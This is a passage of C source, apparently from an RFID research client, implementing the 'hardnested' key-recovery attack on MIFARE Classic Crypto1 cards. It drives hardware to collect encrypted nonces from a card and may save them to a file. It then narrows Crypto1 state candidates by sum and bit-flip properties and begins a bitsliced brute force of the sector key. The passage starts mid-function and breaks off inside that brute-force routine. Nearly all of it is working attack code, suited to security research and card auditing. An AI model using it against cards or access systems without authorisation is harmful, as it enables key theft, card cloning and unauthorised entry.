707 cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
708 known_target_key = ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff);
709
710 printf("Simulating nonce acquisition for target key %012"llx", cuid %08x ...\n", known_target_key, cuid);
711 fprintf(fstats, "%012"llx";%08x;", known_target_key, cuid);
712
713 do {
714 uint32_t nt_enc = 0;
715 uint8_t par_enc = 0;
716
717 simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc);
718 //printf("Simulated RNG: nt_enc1: %08x, nt_enc2: %08x, par_enc: %02x\n", nt_enc1, nt_enc2, par_enc);
719 total_added_nonces += add_nonce(nt_enc, par_enc);
720 total_num_nonces++;
721
722 if (first_byte_num == 256 ) {
723 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
724 if (!filter_flip_checked) {
725 Check_for_FilterFlipProperties();
726 filter_flip_checked = true;
727 }
728 num_good_first_bytes = estimate_second_byte_sum();
729 if (total_num_nonces > next_fivehundred) {
730 next_fivehundred = (total_num_nonces/500+1) * 500;
731 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
732 total_num_nonces,
733 total_added_nonces,
734 CONFIDENCE_THRESHOLD * 100.0,
735 num_good_first_bytes);
736 }
737 }
738
739 } while (num_good_first_bytes < GOOD_BYTES_REQUIRED);
740
741 time1 = clock() - time1;
742 if ( time1 > 0 ) {
743 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
744 total_num_nonces,
745 ((float)time1)/CLOCKS_PER_SEC,
746 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1);
747 }
748 fprintf(fstats, "%d;%d;%d;%1.2f;", total_num_nonces, total_added_nonces, num_good_first_bytes, CONFIDENCE_THRESHOLD);
749
750 }
751
752 static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow)
753 {
754 clock_t time1 = clock();
755 bool initialize = true;
756 bool field_off = false;
757 bool finished = false;
758 bool filter_flip_checked = false;
759 uint32_t flags = 0;
760 uint8_t write_buf[9];
761 uint32_t total_num_nonces = 0;
762 uint32_t next_fivehundred = 500;
763 uint32_t total_added_nonces = 0;
764 FILE *fnonces = NULL;
765 UsbCommand resp;
766
767 printf("Acquiring nonces...\n");
768
769 clearCommandBuffer();
770
771 do {
772 flags = 0;
773 flags |= initialize ? 0x0001 : 0;
774 flags |= slow ? 0x0002 : 0;
775 flags |= field_off ? 0x0004 : 0;
776 UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}};
777 memcpy(c.d.asBytes, key, 6);
778
779 SendCommand(&c);
780
781 if (field_off) finished = true;
782
783 if (initialize) {
784 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1;
785 if (resp.arg[0]) return resp.arg[0]; // error during nested_hard
786
787 cuid = resp.arg[1];
788 // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid);
789 if (nonce_file_write && fnonces == NULL) {
790 if ((fnonces = fopen("nonces.bin","wb")) == NULL) {
791 PrintAndLog("Could not create file nonces.bin");
792 return 3;
793 }
794 PrintAndLog("Writing acquired nonces to binary file nonces.bin");
795 num_to_bytes(cuid, 4, write_buf);
796 fwrite(write_buf, 1, 4, fnonces);
797 fwrite(&trgBlockNo, 1, 1, fnonces);
798 fwrite(&trgKeyType, 1, 1, fnonces);
799 }
800 }
801
802 if (!initialize) {
803 uint32_t nt_enc1, nt_enc2;
804 uint8_t par_enc;
805 uint16_t num_acquired_nonces = resp.arg[2];
806 uint8_t *bufp = resp.d.asBytes;
807 for (uint16_t i = 0; i < num_acquired_nonces; i+=2) {
808 nt_enc1 = bytes_to_num(bufp, 4);
809 nt_enc2 = bytes_to_num(bufp+4, 4);
810 par_enc = bytes_to_num(bufp+8, 1);
811
812 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
813 total_added_nonces += add_nonce(nt_enc1, par_enc >> 4);
814 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
815 total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f);
816
817
818 if (nonce_file_write) {
819 fwrite(bufp, 1, 9, fnonces);
820 }
821
822 bufp += 9;
823 }
824
825 total_num_nonces += num_acquired_nonces;
826 }
827
828 if (first_byte_num == 256 ) {
829 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
830 if (!filter_flip_checked) {
831 Check_for_FilterFlipProperties();
832 filter_flip_checked = true;
833 }
834 num_good_first_bytes = estimate_second_byte_sum();
835 if (total_num_nonces > next_fivehundred) {
836 next_fivehundred = (total_num_nonces/500+1) * 500;
837 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
838 total_num_nonces,
839 total_added_nonces,
840 CONFIDENCE_THRESHOLD * 100.0,
841 num_good_first_bytes);
842 }
843 if (num_good_first_bytes >= GOOD_BYTES_REQUIRED) {
844 field_off = true; // switch off field with next SendCommand and then finish
845 }
846 }
847
848 if (!initialize) {
849 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) {
850 fclose(fnonces);
851 return 1;
852 }
853 if (resp.arg[0]) {
854 fclose(fnonces);
855 return resp.arg[0]; // error during nested_hard
856 }
857 }
858
859 initialize = false;
860
861 } while (!finished);
862
863
864 if (nonce_file_write) {
865 fclose(fnonces);
866 }
867
868 time1 = clock() - time1;
869 if ( time1 > 0 ) {
870 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
871 total_num_nonces,
872 ((float)time1)/CLOCKS_PER_SEC,
873 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1
874 );
875 }
876 return 0;
877 }
878
879 static int init_partial_statelists(void)
880 {
881 const uint32_t sizes_odd[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 };
882 const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
883
884 printf("Allocating memory for partial statelists...\n");
885 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
886 for (uint16_t i = 0; i <= 16; i+=2) {
887 partial_statelist[i].len[odd_even] = 0;
888 uint32_t num_of_states = odd_even == ODD_STATE ? sizes_odd[i] : sizes_even[i];
889 partial_statelist[i].states[odd_even] = malloc(sizeof(uint32_t) * num_of_states);
890 if (partial_statelist[i].states[odd_even] == NULL) {
891 PrintAndLog("Cannot allocate enough memory. Aborting");
892 return 4;
893 }
894 for (uint32_t j = 0; j < STATELIST_INDEX_SIZE; j++) {
895 partial_statelist[i].index[odd_even][j] = NULL;
896 }
897 }
898 }
899
900 printf("Generating partial statelists...\n");
901 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
902 uint32_t index = -1;
903 uint32_t num_of_states = 1<<20;
904 for (uint32_t state = 0; state < num_of_states; state++) {
905 uint16_t sum_property = PartialSumProperty(state, odd_even);
906 uint32_t *p = partial_statelist[sum_property].states[odd_even];
907 p += partial_statelist[sum_property].len[odd_even];
908 *p = state;
909 partial_statelist[sum_property].len[odd_even]++;
910 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
911 if ((state & index_mask) != index) {
912 index = state & index_mask;
913 }
914 if (partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
915 partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] = p;
916 }
917 }
918 // add End Of List markers
919 for (uint16_t i = 0; i <= 16; i += 2) {
920 uint32_t *p = partial_statelist[i].states[odd_even];
921 p += partial_statelist[i].len[odd_even];
922 *p = 0xffffffff;
923 }
924 }
925
926 return 0;
927 }
928
929 static void init_BitFlip_statelist(void)
930 {
931 printf("Generating bitflip statelist...\n");
932 uint32_t *p = statelist_bitflip.states[0] = malloc(sizeof(uint32_t) * 1<<20);
933 uint32_t index = -1;
934 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
935 for (uint32_t state = 0; state < (1 << 20); state++) {
936 if (filter(state) != filter(state^1)) {
937 if ((state & index_mask) != index) {
938 index = state & index_mask;
939 }
940 if (statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
941 statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] = p;
942 }
943 *p++ = state;
944 }
945 }
946 // set len and add End Of List marker
947 statelist_bitflip.len[0] = p - statelist_bitflip.states[0];
948 *p = 0xffffffff;
949 statelist_bitflip.states[0] = realloc(statelist_bitflip.states[0], sizeof(uint32_t) * (statelist_bitflip.len[0] + 1));
950 }
951
952 static inline uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even)
953 {
954 uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)]; // first Bits as index
955
956 if (p == NULL) return NULL;
957 while (*p < (state & mask)) p++;
958 if (*p == 0xffffffff) return NULL; // reached end of list, no match
959 if ((*p & mask) == (state & mask)) return p; // found a match.
960 return NULL; // no match
961 }
962
963 static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
964 {
965 uint_fast8_t j_1_bit_mask = 0x01 << (bit-1);
966 uint_fast8_t bit_diff = byte_diff & j_1_bit_mask; // difference of (j-1)th bit
967 uint_fast8_t filter_diff = filter(state1 >> (4-state_bit)) ^ filter(state2 >> (4-state_bit)); // difference in filter function
968 uint_fast8_t mask_y12_y13 = 0xc0 >> state_bit;
969 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13
970 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff ^ filter_diff); // use parity function to XOR all bits
971 return !all_diff;
972 }
973
974 static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
975 {
976 uint_fast8_t j_bit_mask = 0x01 << bit;
977 uint_fast8_t bit_diff = byte_diff & j_bit_mask; // difference of jth bit
978 uint_fast8_t mask_y13_y16 = 0x48 >> state_bit;
979 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16
980 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff); // use parity function to XOR all bits
981 return all_diff;
982 }
983
984 static inline bool remaining_bits_match(uint_fast8_t num_common_bits, uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, odd_even_t odd_even)
985 {
986 if (odd_even) {
987 // odd bits
988 switch (num_common_bits) {
989 case 0: if (!invariant_holds(byte_diff, state1, state2, 1, 0)) return true;
990 case 1: if (invalid_state(byte_diff, state1, state2, 1, 0)) return false;
991 case 2: if (!invariant_holds(byte_diff, state1, state2, 3, 1)) return true;
992 case 3: if (invalid_state(byte_diff, state1, state2, 3, 1)) return false;
993 case 4: if (!invariant_holds(byte_diff, state1, state2, 5, 2)) return true;
994 case 5: if (invalid_state(byte_diff, state1, state2, 5, 2)) return false;
995 case 6: if (!invariant_holds(byte_diff, state1, state2, 7, 3)) return true;
996 case 7: if (invalid_state(byte_diff, state1, state2, 7, 3)) return false;
997 }
998 } else {
999 // even bits
1000 switch (num_common_bits) {
1001 case 0: if (invalid_state(byte_diff, state1, state2, 0, 0)) return false;
1002 case 1: if (!invariant_holds(byte_diff, state1, state2, 2, 1)) return true;
1003 case 2: if (invalid_state(byte_diff, state1, state2, 2, 1)) return false;
1004 case 3: if (!invariant_holds(byte_diff, state1, state2, 4, 2)) return true;
1005 case 4: if (invalid_state(byte_diff, state1, state2, 4, 2)) return false;
1006 case 5: if (!invariant_holds(byte_diff, state1, state2, 6, 3)) return true;
1007 case 6: if (invalid_state(byte_diff, state1, state2, 6, 3)) return false;
1008 }
1009 }
1010
1011 return true; // valid state
1012 }
1013
1014 static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even)
1015 {
1016 for (uint16_t i = 1; i < num_good_first_bytes; i++) {
1017 uint16_t sum_a8 = nonces[best_first_bytes[i]].Sum8_guess;
1018 uint_fast8_t bytes_diff = best_first_bytes[0] ^ best_first_bytes[i];
1019 uint_fast8_t j = common_bits(bytes_diff);
1020 uint32_t mask = 0xfffffff0;
1021 if (odd_even == ODD_STATE) {
1022 mask >>= j/2;
1023 } else {
1024 mask >>= (j+1)/2;
1025 }
1026 mask &= 0x000fffff;
1027 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1028 bool found_match = false;
1029 for (uint16_t r = 0; r <= 16 && !found_match; r += 2) {
1030 for (uint16_t s = 0; s <= 16 && !found_match; s += 2) {
1031 if (r*(16-s) + (16-r)*s == sum_a8) {
1032 //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
1033 uint16_t part_sum_a8 = (odd_even == ODD_STATE) ? r : s;
1034 uint32_t *p = find_first_state(state, mask, &partial_statelist[part_sum_a8], odd_even);
1035 if (p != NULL) {
1036 while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) {
1037 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1038 found_match = true;
1039 // if ((odd_even == ODD_STATE && state == test_state_odd)
1040 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1041 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1042 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1043 // }
1044 break;
1045 } else {
1046 // if ((odd_even == ODD_STATE && state == test_state_odd)
1047 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1048 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1049 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1050 // }
1051 }
1052 p++;
1053 }
1054 } else {
1055 // if ((odd_even == ODD_STATE && state == test_state_odd)
1056 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1057 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1058 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1059 // }
1060 }
1061 }
1062 }
1063 }
1064
1065 if (!found_match) {
1066 // if ((odd_even == ODD_STATE && state == test_state_odd)
1067 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1068 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1069 // }
1070 return false;
1071 }
1072 }
1073
1074 return true;
1075 }
1076
1077 static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even)
1078 {
1079 for (uint16_t i = 0; i < 256; i++) {
1080 if (nonces[i].BitFlip[odd_even] && i != best_first_bytes[0]) {
1081 uint_fast8_t bytes_diff = best_first_bytes[0] ^ i;
1082 uint_fast8_t j = common_bits(bytes_diff);
1083 uint32_t mask = 0xfffffff0;
1084 if (odd_even == ODD_STATE) {
1085 mask >>= j/2;
1086 } else {
1087 mask >>= (j+1)/2;
1088 }
1089 mask &= 0x000fffff;
1090 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1091 bool found_match = false;
1092 uint32_t *p = find_first_state(state, mask, &statelist_bitflip, 0);
1093 if (p != NULL) {
1094 while ((state & mask) == (*p & mask) && (*p != 0xffffffff)) {
1095 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1096 found_match = true;
1097 // if ((odd_even == ODD_STATE && state == test_state_odd)
1098 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1099 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1100 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1101 // }
1102 break;
1103 } else {
1104 // if ((odd_even == ODD_STATE && state == test_state_odd)
1105 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1106 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1107 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1108 // }
1109 }
1110 p++;
1111 }
1112 } else {
1113 // if ((odd_even == ODD_STATE && state == test_state_odd)
1114 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1115 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1116 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1117 // }
1118 }
1119 if (!found_match) {
1120 // if ((odd_even == ODD_STATE && state == test_state_odd)
1121 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1122 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1123 // }
1124 return false;
1125 }
1126 }
1127
1128 }
1129
1130 return true;
1131 }
1132
1133 static struct sl_cache_entry {
1134 uint32_t *sl;
1135 uint32_t len;
1136 } sl_cache[17][17][2];
1137
1138 static void init_statelist_cache(void)
1139 {
1140 for (uint16_t i = 0; i < 17; i+=2) {
1141 for (uint16_t j = 0; j < 17; j+=2) {
1142 for (uint16_t k = 0; k < 2; k++) {
1143 sl_cache[i][j][k].sl = NULL;
1144 sl_cache[i][j][k].len = 0;
1145 }
1146 }
1147 }
1148 }
1149
1150 static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even)
1151 {
1152 uint32_t worstcase_size = 1<<20;
1153
1154 // check cache for existing results
1155 if (sl_cache[part_sum_a0][part_sum_a8][odd_even].sl != NULL) {
1156 candidates->states[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].sl;
1157 candidates->len[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].len;
1158 return 0;
1159 }
1160
1161 candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size);
1162 if (candidates->states[odd_even] == NULL) {
1163 PrintAndLog("Out of memory error.\n");
1164 return 4;
1165 }
1166 uint32_t *add_p = candidates->states[odd_even];
1167 for (uint32_t *p1 = partial_statelist[part_sum_a0].states[odd_even]; *p1 != 0xffffffff; p1++) {
1168 uint32_t search_mask = 0x000ffff0;
1169 uint32_t *p2 = find_first_state((*p1 << 4), search_mask, &partial_statelist[part_sum_a8], odd_even);
1170 if (p2 != NULL) {
1171 while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != 0xffffffff) {
1172 if ((nonces[best_first_bytes[0]].BitFlip[odd_even] && find_first_state((*p1 << 4) | *p2, 0x000fffff, &statelist_bitflip, 0))
1173 || !nonces[best_first_bytes[0]].BitFlip[odd_even]) {
1174 if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) {
1175 if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) {
1176 *add_p++ = (*p1 << 4) | *p2;
1177 }
1178 }
1179 }
1180 p2++;
1181 }
1182 }
1183 }
1184
1185 // set end of list marker and len
1186 *add_p = 0xffffffff;
1187 candidates->len[odd_even] = add_p - candidates->states[odd_even];
1188
1189 candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1));
1190
1191 sl_cache[part_sum_a0][part_sum_a8][odd_even].sl = candidates->states[odd_even];
1192 sl_cache[part_sum_a0][part_sum_a8][odd_even].len = candidates->len[odd_even];
1193
1194 return 0;
1195 }
1196
1197 static statelist_t *add_more_candidates(statelist_t *current_candidates)
1198 {
1199 statelist_t *new_candidates = NULL;
1200 if (current_candidates == NULL) {
1201 if (candidates == NULL) {
1202 candidates = (statelist_t *)malloc(sizeof(statelist_t));
1203 }
1204 new_candidates = candidates;
1205 } else {
1206 new_candidates = current_candidates->next = (statelist_t *)malloc(sizeof(statelist_t));
1207 }
1208 new_candidates->next = NULL;
1209 new_candidates->len[ODD_STATE] = 0;
1210 new_candidates->len[EVEN_STATE] = 0;
1211 new_candidates->states[ODD_STATE] = NULL;
1212 new_candidates->states[EVEN_STATE] = NULL;
1213 return new_candidates;
1214 }
1215
1216 static void TestIfKeyExists(uint64_t key)
1217 {
1218 struct Crypto1State *pcs;
1219 pcs = crypto1_create(key);
1220 crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
1221
1222 uint32_t state_odd = pcs->odd & 0x00ffffff;
1223 uint32_t state_even = pcs->even & 0x00ffffff;
1224 //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even);
1225
1226 uint64_t count = 0;
1227 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1228 bool found_odd = false;
1229 bool found_even = false;
1230 uint32_t *p_odd = p->states[ODD_STATE];
1231 uint32_t *p_even = p->states[EVEN_STATE];
1232 while (*p_odd != 0xffffffff) {
1233 if ((*p_odd & 0x00ffffff) == state_odd) {
1234 found_odd = true;
1235 break;
1236 }
1237 p_odd++;
1238 }
1239 while (*p_even != 0xffffffff) {
1240 if ((*p_even & 0x00ffffff) == state_even) {
1241 found_even = true;
1242 }
1243 p_even++;
1244 }
1245 count += (p_odd - p->states[ODD_STATE]) * (p_even - p->states[EVEN_STATE]);
1246 if (found_odd && found_even) {
1247 PrintAndLog("Key Found after testing %lld (2^%1.1f) out of %lld (2^%1.1f) keys. A brute force would have taken approx %lld minutes.",
1248 count, log(count)/log(2),
1249 maximum_states, log(maximum_states)/log(2),
1250 (count>>23)/60);
1251 if (write_stats) {
1252 fprintf(fstats, "1\n");
1253 }
1254 crypto1_destroy(pcs);
1255 return;
1256 }
1257 }
1258
1259 printf("Key NOT found!\n");
1260 if (write_stats) {
1261 fprintf(fstats, "0\n");
1262 }
1263 crypto1_destroy(pcs);
1264 }
1265
1266 static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8)
1267 {
1268 printf("Generating crypto1 state candidates... \n");
1269
1270 statelist_t *current_candidates = NULL;
1271 // estimate maximum candidate states
1272 maximum_states = 0;
1273 for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) {
1274 for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) {
1275 if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) {
1276 maximum_states += (uint64_t)partial_statelist[sum_odd].len[ODD_STATE] * partial_statelist[sum_even].len[EVEN_STATE] * (1<<8);
1277 }
1278 }
1279 }
1280 printf("Number of possible keys with Sum(a0) = %d: %"PRIu64" (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2.0));
1281
1282 init_statelist_cache();
1283
1284 for (uint16_t p = 0; p <= 16; p += 2) {
1285 for (uint16_t q = 0; q <= 16; q += 2) {
1286 if (p*(16-q) + (16-p)*q == sum_a0) {
1287 printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n",
1288 p, q, partial_statelist[p].len[ODD_STATE], partial_statelist[q].len[EVEN_STATE]);
1289 for (uint16_t r = 0; r <= 16; r += 2) {
1290 for (uint16_t s = 0; s <= 16; s += 2) {
1291 if (r*(16-s) + (16-r)*s == sum_a8) {
1292 current_candidates = add_more_candidates(current_candidates);
1293 // check for the smallest partial statelist. Try this first - it might give 0 candidates
1294 // and eliminate the need to calculate the other part
1295 if (MIN(partial_statelist[p].len[ODD_STATE], partial_statelist[r].len[ODD_STATE])
1296 < MIN(partial_statelist[q].len[EVEN_STATE], partial_statelist[s].len[EVEN_STATE])) {
1297 add_matching_states(current_candidates, p, r, ODD_STATE);
1298 if(current_candidates->len[ODD_STATE]) {
1299 add_matching_states(current_candidates, q, s, EVEN_STATE);
1300 } else {
1301 current_candidates->len[EVEN_STATE] = 0;
1302 uint32_t *p = current_candidates->states[EVEN_STATE] = malloc(sizeof(uint32_t));
1303 *p = 0xffffffff;
1304 }
1305 } else {
1306 add_matching_states(current_candidates, q, s, EVEN_STATE);
1307 if(current_candidates->len[EVEN_STATE]) {
1308 add_matching_states(current_candidates, p, r, ODD_STATE);
1309 } else {
1310 current_candidates->len[ODD_STATE] = 0;
1311 uint32_t *p = current_candidates->states[ODD_STATE] = malloc(sizeof(uint32_t));
1312 *p = 0xffffffff;
1313 }
1314 }
1315 //printf("Odd state candidates: %6d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2));
1316 //printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2));
1317 }
1318 }
1319 }
1320 }
1321 }
1322 }
1323
1324
1325 maximum_states = 0;
1326 for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) {
1327 maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE];
1328 }
1329 printf("Number of remaining possible keys: %"PRIu64" (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0));
1330 if (write_stats) {
1331 if (maximum_states != 0) {
1332 fprintf(fstats, "%1.1f;", log(maximum_states)/log(2.0));
1333 } else {
1334 fprintf(fstats, "%1.1f;", 0.0);
1335 }
1336 }
1337 }
1338
1339 static void free_candidates_memory(statelist_t *sl)
1340 {
1341 if (sl == NULL) {
1342 return;
1343 } else {
1344 free_candidates_memory(sl->next);
1345 free(sl);
1346 }
1347 }
1348
1349 static void free_statelist_cache(void)
1350 {
1351 for (uint16_t i = 0; i < 17; i+=2) {
1352 for (uint16_t j = 0; j < 17; j+=2) {
1353 for (uint16_t k = 0; k < 2; k++) {
1354 free(sl_cache[i][j][k].sl);
1355 }
1356 }
1357 }
1358 }
1359
1360 size_t keys_found = 0;
1361 size_t bucket_count = 0;
1362 statelist_t* buckets[128];
1363 size_t total_states_tested = 0;
1364 size_t thread_count = 4;
1365
1366 // these bitsliced states will hold identical states in all slices
1367 bitslice_t bitsliced_rollback_byte[ROLLBACK_SIZE];
1368
1369 // arrays of bitsliced states with identical values in all slices
1370 bitslice_t bitsliced_encrypted_nonces[NONCE_TESTS][STATE_SIZE];
1371 bitslice_t bitsliced_encrypted_parity_bits[NONCE_TESTS][ROLLBACK_SIZE];
1372
1373 #define EXACT_COUNT
1374
1375 static const uint64_t crack_states_bitsliced(statelist_t *p){
1376 // the idea to roll back the half-states before combining them was suggested/explained to me by bla
1377 // first we pre-bitslice all the even state bits and roll them back, then bitslice the odd bits and combine the two in the inner loop
1378 uint64_t key = -1;
1379 uint8_t bSize = sizeof(bitslice_t);
1380
1381 #ifdef EXACT_COUNT
1382 size_t bucket_states_tested = 0;
1383 size_t bucket_size[p->len[EVEN_STATE]/MAX_BITSLICES];
1384 #else
1385 const size_t bucket_states_tested = (p->len[EVEN_STATE])*(p->len[ODD_STATE]);
1386 #endif
1387
1388 bitslice_t *bitsliced_even_states[p->len[EVEN_STATE]/MAX_BITSLICES];
1389 size_t bitsliced_blocks = 0;
1390 uint32_t const * restrict even_end = p->states[EVEN_STATE]+p->len[EVEN_STATE];
1391
1392 // bitslice all the even states
1393 for(uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < even_end; p_even += MAX_BITSLICES){
1394
1395 #ifdef __WIN32
1396 #ifdef __MINGW32__
1397 bitslice_t * restrict lstate_p = __mingw_aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1398 #else
1399 bitslice_t * restrict lstate_p = _aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1400 #endif
1401 #else
1402 bitslice_t * restrict lstate_p = memalign(bSize, (STATE_SIZE+ROLLBACK_SIZE) * bSize);
1403 #endif
1404
1405 if ( !lstate_p ) {
1406 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1407 return key;
1408 }
1409
1410 memset(lstate_p+1, 0x0, (STATE_SIZE-1)*sizeof(bitslice_t)); // zero even bits
1411
1412 // bitslice even half-states
1413 const size_t max_slices = (even_end-p_even) < MAX_BITSLICES ? even_end-p_even : MAX_BITSLICES;
1414 #ifdef EXACT_COUNT
